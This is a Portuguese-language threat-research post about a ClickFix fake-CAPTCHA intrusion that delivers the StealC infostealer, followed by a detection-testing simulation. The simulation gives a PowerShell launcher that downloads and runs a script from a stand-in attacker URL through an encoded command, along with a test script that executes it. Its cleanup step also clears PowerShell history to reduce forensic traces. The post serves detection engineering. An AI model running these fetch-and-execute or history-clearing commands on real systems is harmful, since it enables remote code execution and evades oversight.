SOC Prime Bias: Médio

16 Feb 2026 14:47 UTC

Como o ClickFix Abre a Porta para o Furtivo Roubador de Informações StealC

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Como o ClickFix Abre a Porta para o Furtivo Roubador de Informações StealC
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Uma intrusão em múltiplas fases, sem uso de arquivo, começa em um site de restaurante vietnamita comprometido hospedando um CAPTCHA falso. As vítimas são induzidas a executar um PowerShell que baixa shellcode independente de posição, que carrega reflexivamente um downloader de 64 bits e injeta o ladrão de informações StealC no svchost.exe. O StealC coleta credenciais do navegador, dados de carteiras de criptomoeda, credenciais do Steam e do Outlook, detalhes do host e capturas de tela, então exfiltra via tráfego HTTP criptografado com RC4.

Investigação

Pesquisadores dissecavam o carregador JavaScript e PowerShell, confirmaram o uso da estrutura de shellcode Donut e seguiram as buscas HTTP do downloader para URLs controlados por atacantes. O ladrão parece ser um malware como serviço orientado por construtor, com recursos modulares de roubo, além de uma rotina de autoexclusão. As notas de caça incluem um valor User-Agent de “Loader” e chaves de registro específicas ligadas à preparação e execução.

Mitigação

As defesas recomendadas incluem limitar ou desabilitar colagens de área de transferência em navegadores, apertar políticas de execução do PowerShell e alertar sobre strings User-Agent incomuns. Adicione detecção para carregamento reflexivo de PE e injeção de processos, e aplique inspeção de HTTP de saída para entrega de payload codificado em Base64. A educação do usuário sobre iscas de CAPTCHA falsas deve ser tratada como um controle, não como um pensamento posterior.

Resposta

Se descoberto, isole o endpoint, pare a instância injetada de svchost.exe, capture dumps de memória para revisão do shellcode e bloqueie os domínios/URLs maliciosos. Redefina as credenciais expostas, revise registros e artefatos do navegador para impacto e observe o tráfego residual de C2.

Fluxo do Ataque

Execução de Simulação

Pré-requisito: A Verificação de Pré-parcela de Telemetria e Ponto de Referência deve ter sido aprovada.

Justificação: Esta seção detalha a execução precisa da técnica adversária (TTP) designada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e visam gerar exatamente a telemetria esperada pela lógica de detecção.

  • Narrativa de Ataque e Comandos:

    Um atacante recebe um e-mail de phishing contendo uma URL curta. O objetivo é instalar um backdoor remoto do PowerShell sem alertar o usuário. O atacante cria um payload PowerShell codificado em Base64 que baixa um script malicioso de um servidor C2 e o executa imediatamente usando iex(irm…). Usando o switch -EncodedCommand , o atacante esconde os comandos reais de uma inspeção casual, e o padrão iex(irm…) corresponde diretamente à regra de detecção.

    1. Crie o script malicioso (payload.ps1) hospedado em http://malicious.example.com/payload.ps1.

    2. Codifique o comando do launcher:

      $launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"
      $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher)
      $encoded = [Convert]::ToBase64String($bytes)
      Write-Output $encoded   # Este valor é usado no próximo passo
    3. Execute o comando codificado no alvo:

      powershell.exe -EncodedCommand <Base64StringFromStep2>

    Isso gera um evento Sysmon ProcessCreate onde CommandLine contém -EncodedCommand and o texto decodificado inclui iex(irm…), satisfazendo a regra Sigma.

  • Script de Teste de Regressão:

    #-----------------------------------------------------------
    # Script de Simulação – Dispara PowerShell EncodedCommand + iex(irm)
    #-----------------------------------------------------------
    
    # 1. Defina a URL do script malicioso (substitua pelo seu servidor de teste)
    $maliciousUrl = "http://malicious.example.com/payload.ps1"
    
    # 2. Construa o comando de uma linha que baixa e executa o script
    $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))"
    
    # 3. Codifique o comando em Base64 (Unicode)
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
    $b64   = [Convert]::ToBase64String($bytes)
    
    # 4. Inicie o PowerShell com o comando codificado
    Write-Host "Executando comando codificado..."
    Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" `
                  -ArgumentList "-EncodedCommand $b64" `
                  -NoNewWindow -Wait
    
    Write-Host "Simulação concluída."
  • Comandos de Limpeza:

    # Remova quaisquer arquivos temporários criados pelo payload simulado (se houver)
    # Exemplo: exclua o script baixado se ele foi salvo localmente
    $tempPath = "$env:TEMPpayload.ps1"
    if (Test-Path $tempPath) {
        Remove-Item $tempPath -Force
        Write-Host "Payload temporário removido."
    }
    
    # Opcionalmente, limpe o histórico do PowerShell para reduzir rastreamento forense
    Clear-History